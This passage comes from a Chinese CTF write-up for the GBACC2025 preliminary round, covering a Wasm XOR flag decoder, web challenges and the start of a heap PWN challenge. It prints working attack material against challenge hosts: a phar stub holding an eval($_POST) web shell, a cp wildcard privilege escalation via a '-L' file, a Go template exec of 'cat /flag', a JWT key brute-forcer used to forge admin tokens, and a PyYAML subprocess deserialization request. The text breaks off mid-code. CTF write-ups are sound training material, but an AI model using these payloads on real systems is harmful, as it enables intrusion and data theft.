class="line">data:0123</span><br></pre></td></tr></table></figure><p>上面发现有一个默认的 0x99 （code:00D4）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">code:00BF ; ---------------------------------------------------------------------------</span><br><span class="line">code:00BF</span><br><span class="line">code:00BF L7:                                     ; CODE XREF: c+7E↑j</span><br><span class="line">code:00BF                 loop                    ; L8</span><br><span class="line">code:00C1</span><br><span class="line">code:00C1 L8:                                     ; CODE XREF: c+B3↓j</span><br><span class="line">code:00C1                  block                  ; L9</span><br><span class="line">code:00C3                   i32.load8_u [$local1+0x400]</span><br><span class="line">code:00C9                   i32.add $local1, $local2</span><br><span class="line">code:00CE                   i32.load8_s</span><br><span class="line">code:00D1                   i32.xor</span><br><span class="line">code:00D2                   local.tee $param0</span><br><span class="line">code:00D4                   i32.const 0x99</span><br><span class="line">code:00D7                   i32.eq</span><br><span class="line">code:00D8                   local.set $local0</span><br><span class="line">code:00DA                   i32.ne  $param0, 0x99</span><br><span class="line">code:00E0                   br_if   0 L9</span><br><span class="line">code:00E2                   i32.add $local1, 1</span><br><span class="line">code:00E7                   local.tee $local1</span><br><span class="line">code:00E9                   i32.const 0x26</span><br><span class="line">code:00EB                   i32.ne</span><br><span class="line">code:00EC                   br_if   1 L8</span><br><span class="line">code:00EE                  end                    ; L9</span><br><span class="line">code:00EF</span><br><span class="line">code:00EF L9:                                     ; CODE XREF: c+A5↑j</span><br><span class="line">code:00EF                 end                     ; L8</span><br><span class="line">code:00F0                 local.get $local0</span><br><span class="line">code:00F2                 end</span><br><span class="line">code:00F2 ; End of function c</span><br><span class="line">code:00F2</span><br><span class="line">code:00F2 ; ---------------------------------------------------------------------------</span><br></pre></td></tr></table></figure><p>这里是拿下面的数据段中的数据与固定的 <code>0x99</code> 进行异或，让AI写个脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 从 Wasm 汇编的 data section 提取加密的字节串</span></span><br><span class="line"><span class="comment"># data:00FF data_0: db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9</span></span><br><span class="line"><span class="comment">#                 db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE</span></span><br><span class="line"><span class="comment">#                 db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE</span></span><br><span class="line"><span class="comment">#                 db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC</span></span><br><span class="line"><span class="comment">#                 db 0xAA, 0xE4</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># 注意：开头的 0x26 是数据长度，不是加密内容的一部分。</span></span><br><span class="line">encrypted_data = <span class="built_in">bytes</span>([</span><br><span class="line">    <span class="number">0xFF</span>, <span class="number">0xF5</span>, <span class="number">0xF8</span>, <span class="number">0xFE</span>, <span class="number">0xE2</span>, <span class="number">0xFF</span>, <span class="number">0xF8</span>, <span class="number">0xFC</span>, <span class="number">0xA9</span>,</span><br><span class="line">    <span class="number">0xFB</span>, <span class="number">0xAB</span>, <span class="number">0xAE</span>, <span class="number">0xFA</span>, <span class="number">0xAD</span>, <span class="number">0xAC</span>, <span class="number">0xA8</span>, <span class="number">0xFA</span>, <span class="number">0xAE</span>,</span><br><span class="line">    <span class="number">0xAB</span>, <span class="number">0xA1</span>, <span class="number">0xA1</span>, <span class="number">0xAF</span>, <span class="number">0xAE</span>, <span class="number">0xF8</span>, <span class="number">0xAC</span>, <span class="number">0xAF</span>, <span class="number">0xAE</span>,</span><br><span class="line">    <span class="number">0xFC</span>, <span class="number">0xA1</span>, <span class="number">0xFA</span>, <span class="number">0xA8</span>, <span class="number">0xFB</span>, <span class="number">0xFB</span>, <span class="number">0xAD</span>, <span class="number">0xFC</span>, <span class="number">0xAC</span>,</span><br><span class="line">    <span class="number">0xAA</span>, <span class="number">0xE4</span></span><br><span class="line">])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 定义解密的 XOR 密钥</span></span><br><span class="line"><span class="comment"># 根据逆向分析，每个字节都需要与 0x99 进行异或</span></span><br><span class="line">xor_key = <span class="number">0x99</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 执行解密</span></span><br><span class="line">decrypted_bytes = <span class="built_in">bytearray</span>()</span><br><span class="line"><span class="keyword">for</span> byte <span class="keyword">in</span> encrypted_data:</span><br><span class="line">    decrypted_bytes.append(byte ^ xor_key)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 将解密后的字节转换为字符串并打印</span></span><br><span class="line"><span class="comment"># 使用 .decode() 将字节数组转换为可读的字符串</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    flag = decrypted_bytes.decode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;🚀 解密成功!&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> UnicodeDecodeError <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;❌ 解密失败或结果不是有效的UTF-8字符串。&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;原始解密字节: <span class="subst">&#123;decrypted_bytes&#125;</span>&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/34c6a758-cb2a-4d2e-807b-e942661ec2bb-1758298447159-18.png"></p><h1 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h1><h2 id="easy-readfile"><a href="#easy-readfile" class="headerlink" title="easy_readfile"></a>easy_readfile</h2><p>题目源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">waf</span>(<span class="params"><span class="variable">$data</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$data</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;Cannot transfer arrays&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/&lt;\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i&#x27;</span>, <span class="variable">$data</span>)) &#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;You can&#x27;t do&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Coral</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$pivot</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__set</span>(<span class="params"><span class="variable">$k</span>, <span class="variable">$value</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$k</span> = <span class="variable language_">$this</span>-&gt;pivot-&gt;ctor;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">new</span> <span class="variable">$k</span>(<span class="variable">$value</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Nimbus</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$handle</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$ctor</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">handle</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$arg</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$arg</span>[<span class="number">1</span>] = <span class="variable language_">$this</span>-&gt;handle-&gt;<span class="variable">$name</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Zephyr</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$target</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$payload</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$prop</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;target-&gt;<span class="variable">$prop</span> = <span class="variable language_">$this</span>-&gt;payload;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Acheron</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$mode</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$data</span> = <span class="variable">$_POST</span>[<span class="number">0</span>];</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable language_">$this</span>-&gt;mode == <span class="string">&#x27;w&#x27;</span>) &#123;</span><br><span class="line">            <span class="title function_ invoke__">waf</span>(<span class="variable">$data</span>);</span><br><span class="line">            <span class="variable">$filename</span> = <span class="string">&quot;/tmp/&quot;</span>.<span class="title function_ invoke__">md5</span>(<span class="title function_ invoke__">rand</span>()).<span class="string">&quot;.phar&quot;</span>;</span><br><span class="line">            <span class="title function_ invoke__">file_put_contents</span>(<span class="variable">$filename</span>, <span class="variable">$data</span>);</span><br><span class="line">            <span class="keyword">echo</span> <span class="variable">$filename</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="variable language_">$this</span>-&gt;mode == <span class="string">&#x27;r&#x27;</span>) &#123;</span><br><span class="line">            <span class="title function_ invoke__">waf</span>(<span class="variable">$data</span>);</span><br><span class="line">            <span class="variable">$f</span> = <span class="keyword">include</span>(<span class="variable">$data</span>);</span><br><span class="line">            <span class="keyword">if</span>(<span class="variable">$f</span>)&#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;It is file&quot;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="keyword">echo</span> <span class="string">&quot;You can look at the others&quot;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">strlen</span>(<span class="variable">$_POST</span>[<span class="number">1</span>]) &lt; <span class="number">52</span>) &#123;</span><br><span class="line">    <span class="variable">$a</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$_POST</span>[<span class="number">1</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;str too long&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>此事在lilctf 2025亦有记载，跟lilctf的一题几乎一样，直接用gzip来绕过waf</p><p>一开始尝试半天都无法成功，原来是payload被过滤了，我原来的脚本生成的phar文件名是payload.phar</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$phar</span> = <span class="keyword">new</span> <span class="title class_">Phar</span>(<span class="string">&quot;rst.phar&quot;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">compressFiles</span>(<span class="title class_">Phar</span>::<span class="variable constant_">GZ</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">startBuffering</span>();</span><br><span class="line"><span class="comment">#$p-&gt;setStub(&quot;&lt;?php \$ch = curl_init(&#x27;file://aa.txt&#x27;);curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\$data = curl_exec(\$ch);curl_close(\$ch);echo \$data; __HALT_COMPILER();&quot;);</span></span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">setStub</span>(<span class="string">&#x27;</span></span><br><span class="line"><span class="string">&lt;?php </span></span><br><span class="line"><span class="string">eval($_POST[&quot;cmd&quot;]);</span></span><br><span class="line"><span class="string">__HALT_COMPILER();</span></span><br><span class="line"><span class="string">&#x27;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">addFromString</span>(<span class="string">&quot;rubbish&quot;</span>, <span class="string">&quot;AAAAAAAAAAA&quot;</span>);</span><br><span class="line"><span class="variable">$phar</span>-&gt;<span class="title function_ invoke__">stopBuffering</span>();</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>yakit上传文件即可</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/abfc7971-76a2-4fe5-9551-015797639772-1758298447159-19.png"></p><p>再来通过文件包含进行rce</p><p>读flag发现读不了，用户是ctfuser，而flag要root才能读，没权限。</p><p>那接下来就是尝试提权了</p><p>发现根目录有pushflag.sh,run.sh,start.sh</p><p>ps aux看了一下发现run.sh是以root权限运行的，可以尝试利用提权</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/b1d02b2a-722c-40b6-979d-c28c157e6479-1758298447159-20.png" alt="b1d02b2a-722c-40b6-979d-c28c157e6479"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/00061719-7e9d-41dd-bb0b-892e2d0649a7-1758298447159-21.png"></p><p>查看run.sh内容，发现定期在备份，并且会赋予文件755的权限，可以利用这个通配符</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">cd</span> /var/www/html/</span><br><span class="line"><span class="keyword">while</span> :</span><br><span class="line">    <span class="keyword">do</span> </span><br><span class="line">        <span class="built_in">cp</span> -P * /var/www/html/backup/ </span><br><span class="line">        <span class="built_in">chmod</span> 755 -R /var/www/html/backup/ </span><br><span class="line">        <span class="built_in">sleep</span> 10</span><br></pre></td></tr></table></figure><p>使用ln命令创建硬链接提权读取flag，这里不能使用-s创建软链接，创建软链接会复制软链接到backup，而不是文件内容</p><p>可以利用这个通配符<code>*</code>，创建一个文件名带有<code>-L</code>的文件来利用</p><p>使用 <code>-L</code> 强制解引用，后解析的参数会覆盖掉前面的 <code>-P </code>，构造payload</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /var/www/html;<span class="built_in">echo</span> 1&gt;<span class="string">&#x27;-L&#x27;</span>;<span class="built_in">ln</span> -s /flag /var/www/html/realflag;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/22773861-47cd-4808-a490-998e78de0c0b-1758298447159-22.png"></p><p>出现软链接</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/dfbd3765-42ab-4704-8012-148e91cbdff5-1758298447159-23.png"></p><p>读取flag</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/36fc65fa-faa3-4a1c-8420-028189f58bd7-1758298447159-24.png"></p><h2 id="SSTI"><a href="#SSTI" class="headerlink" title="SSTI"></a>SSTI</h2><p>一开始发现a返回97 abc返回abc</p><p>fuzz了一下，发现waf了f,l,g字符，还有很多字符串疑似</p><p>拿ssti字典fuzz了一下</p>{{.}}发现有两个东西，是Go模板注入<p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/ff0602b9-d771-402a-95cf-6a2a15e5d619-1758298447159-25.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">map[B64Decode:0x6ee380 exec:0x6ee120]</span><br></pre></td></tr></table></figure><p>发现可以exec “id” ，返回了用户uid，本来用的whoami，结果发现被waf了</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/bdf32af4-1f79-4dd0-976b-601a60c9d268-1758298447159-26.png"></p>通过{{ "xxx" }}可以来试探waf<p>AI梭一下，直接盲猜</p><p>#&#x2F;cat flag</p>{{B64Decode "Y2F0IC9mbGFn" | exec}}<p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/64739fee-4292-44be-b4a5-ec917e264e45-1758298447159-27.png"></p><h2 id="ez-python"><a href="#ez-python" class="headerlink" title="ez_python"></a>ez_python</h2><p>给了hint，爆破jwt后两位就可以</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/e2eeb78d-e202-4bbc-8142-3270666824e8-1758298447159-28.png"></p><p>搓一个小脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line"><span class="keyword">from</span> jwt.exceptions <span class="keyword">import</span> InvalidSignatureError, DecodeError</span><br><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">jwt_token = <span class="string">&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 密钥前缀</span></span><br><span class="line">key_prefix = <span class="string">&quot;@o70xO$0%#qR9#&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成所有可能的两个字母数字组合</span></span><br><span class="line">alphanumeric = string.ascii_letters + string.digits</span><br><span class="line">missing_chars = itertools.product(alphanumeric, repeat=<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 尝试解码</span></span><br><span class="line"><span class="keyword">for</span> chars <span class="keyword">in</span> missing_chars:</span><br><span class="line">    key = key_prefix + <span class="string">&#x27;&#x27;</span>.join(chars)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        decoded = jwt.decode(jwt_token, key, algorithms=[<span class="string">&quot;HS256&quot;</span>])</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Success! Key found: <span class="subst">&#123;key&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Decoded payload: <span class="subst">&#123;decoded&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">except</span> InvalidSignatureError:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">except</span> DecodeError:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;No valid key found.&quot;</span>)</span><br></pre></td></tr></table></figure><p>将jwt里的role改为admin就变成管理员身份了</p><p>python好像运行不了，那试试yaml的漏洞</p><p><a href="https://xz.aliyun.com/news/38">https://xz.aliyun.com/news/38</a></p><p>找到一个有回显的payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">POST /sandbox HTTP/1.1</span><br><span class="line">Host: web-d0449060ee.challenge.xctf.org.cn</span><br><span class="line">Origin: http://web-d0449060ee.challenge.xctf.org.cn</span><br><span class="line">Referer: http://web-d0449060ee.challenge.xctf.org.cn/</span><br><span class="line">Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK23IBmQeWwIHg2JR</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Content-Length: 421</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryK23IBmQeWwIHg2JR</span><br><span class="line">Content-Disposition: form-data; name=&quot;codefile&quot;; filename=&quot;exp.yaml&quot;</span><br><span class="line">Content-Type: application/octet-stream</span><br><span class="line"></span><br><span class="line">!!python/object/apply:subprocess.check_output [[cat,/f1111ag]]</span><br><span class="line">------WebKitFormBoundaryK23IBmQeWwIHg2JR</span><br><span class="line">Content-Disposition: form-data; name=&quot;mode&quot;</span><br><span class="line"></span><br><span class="line">yaml</span><br><span class="line">------WebKitFormBoundaryK23IBmQeWwIHg2JR--</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h1><h2 id="digtal-bomb"><a href="#digtal-bomb" class="headerlink" title="digtal_bomb"></a><strong>digtal_bomb</strong></h2><p>核心逻辑</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">heap</span><span class="params">()</span> &#123;</span><br><span class="line">    _DWORD v0[<span class="number">2</span>];</span><br><span class="line">    <span class="type">unsigned</span> __int64 v1;</span><br><span class="line">    v1 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">    v0[<span class="number">1</span>] = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">        menu();  <span class="comment">// 显示菜单</span></span><br><span class="line">        v0[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">        __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, v0);</span><br><span class="line">        <span class="keyword">while</span> (getchar() != <span class="number">10</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (v0[<span class="number">0</span>] == <span class="number">666</span>) &#123;</span><br><span class="line">            gift(); <span class="comment">// 仅特殊输入触发</span></span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (v0[<span class="number">0</span>] &gt; <span class="number">3</span>) &#123;</span><br><span class="line">            PUTS(<span class="string">&quot;Invalid choice, please try again.&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (v0[<span class="number">0</span>] == <span class="number">1</span>) &#123;</span><br><span class="line">            add();   <span class="comment">// 创建消息块</span></span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (v0[<span class="number">0</span>] == <span class="number">2</span>) &#123;</span><br><span class="line">            delet(); <span class="comment">// 删除消息块</span></span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (v0[<span class="number">0</span>] == <span class="number">3</span>) &#123;</span><br><span class="line">            show();  <span class="comment">// 显示消息块</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>add</code>中存在 <code>off-by-null</code> 漏洞，泄露堆地址有</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span 